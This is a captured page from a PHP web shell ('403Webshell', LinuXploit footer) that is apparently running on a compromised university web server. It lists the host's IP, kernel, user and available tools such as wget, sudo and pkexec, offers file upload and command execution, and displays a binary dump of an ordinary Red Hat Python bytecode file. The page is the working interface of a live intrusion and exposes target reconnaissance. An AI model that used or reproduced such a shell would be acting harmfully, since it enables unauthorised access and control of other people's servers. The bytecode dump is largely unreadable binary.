403Webshell
Server IP : 172.24.0.40  /  Your IP : 216.73.216.10
Web Server : Apache
System : Linux dbweb26.ust.edu.ph 4.18.0-513.5.1.el8_9.x86_64 #1 SMP Fri Sep 29 05:21:10 EDT 2023 x86_64
User : apache ( 48)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/lib64/python3.6/site-packages/rhsm/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/lib64/python3.6/site-packages/rhsm/__pycache__/bitstream.cpython-36.pyc
3

a�eW�@s>ddlmZmZmZddlZddlmZGdd�dej�ZdS)�)�print_function�division�absolute_importN)�dequec@sTeZdZdZdd�Zdd�Zdd�Zdd	�Zed
d��Z	e
dd
��Ze
dd��ZdS)�GhettoBitStreama�
    Accepts binary data and makes it available as a stream of bits or one byte
    at a time. Python does not provide a built-in way to read a stream of bits,
    or a way to represent a single bit. Thus, this class uses character '0'
    or '1' to represent the status of each bit.

    Data is converted into the '0' and '1' characters one byte at a time, since
    that operation multiplies the size of the data by a factor of 8, and it may
    not be desirable to inflate all of the data at once.
    cCstt|��|_t�|_dS)zU
        :param data:    binary data in a string
        :type  data:    str
        N)r�	bytearray�bytes�_bit_buffer)�self�data�r�!/usr/lib64/python3.6/bitstream.py�__init__ szGhettoBitStream.__init__cCs|S)Nr)r
rrr
�__iter__(szGhettoBitStream.__iter__cCsL|jsBy|j�}Wntk
r*t�YnX|j|�}|jj|�|jj�S)z�
        converts one byte at a time into a bit representation, waiting until
        those bits have been consumed before converting another byte

        :return:    next bit in the stream, either '0' or '1'
        :rtype:     string
        )r	�pop_byte�
IndexError�
StopIteration�
_byte_to_bits�extend�popleft)r
�byte�bitsrrr
�__next__+s

zGhettoBitStream.__next__cCs
|jj�S)z_
        :return:    next entire byte in the stream, as an int
        :rtype:     int
        )rr)r
rrr
r<szGhettoBitStream.pop_bytecCs*y
dj|�Stk
r$|j|�SXdS)a�
        Produces a string representation of a byte as a base-2 number.
        Python versions < 2.6 lack the "bin()" builtin as well as the
        below "format()" method of strings, so this method falls back
        to using a home-brew implementation.

        :param byte:    positive int < 256
        :type  byte:    int
        :return:        binary representation of byte as 8-char string
        :rtype:         str
        z{0:08b}N)�format�AttributeError�
_bin_backport)�clsrrrr
rCs

zGhettoBitStream._byte_to_bitscCsRg}xBtddd	�D]2}|d|}|dkr:|jd�|}q|jd�qWdj|�S)
aK
        In python versions < 2.6, there is no built-in way to produce a string
        representation of base-2 data. Thus, we have to do it manually.

        :param byte:    positive int < 256
        :type  byte:    int
        :return:        binary representation of byte as 8-char string
        :rtype:         str
        ���r�1�0����r#)�range�append�join)�x�chars�n�yrrr
rVs
zGhettoBitStream._bin_backportcCs*|dd�}|j�tdd�t|�D��S)a�
        combine unsigned ints read from a bit stream into one unsigned number,
        reading data as big-endian

        :param data:    iterable of positive ints, each representing a byte of
                        uint binary data that should be combined
                        such that the right-most byte stays as-is, and then
                        each byte to the left gets left-shifted by 8 * n bits.
                        For example, [1, 2] would give you 258 ((1 << 8) + 2)
        :type  data:    iterable of positive ints
        :return:        positive int, composed from input bytes combined as
                        one int
        :rtype:         int
        Ncss|]\}}||d>VqdS)�Nr)�.0r)r'rrr
�	<genexpr>}sz0GhettoBitStream.combine_bytes.<locals>.<genexpr>)�reverse�sum�	enumerate)r�copyrrr
�
combine_byteskszGhettoBitStream.combine_bytesN)
�__name__�
__module__�__qualname__�__doc__rrrr�classmethodr�staticmethodrr2rrrr
rs
r)	Z
__future__rrrZsix�collectionsr�Iteratorrrrrr
�<module>s

Youez - 2016 - github.com/yon3zu
LinuXploit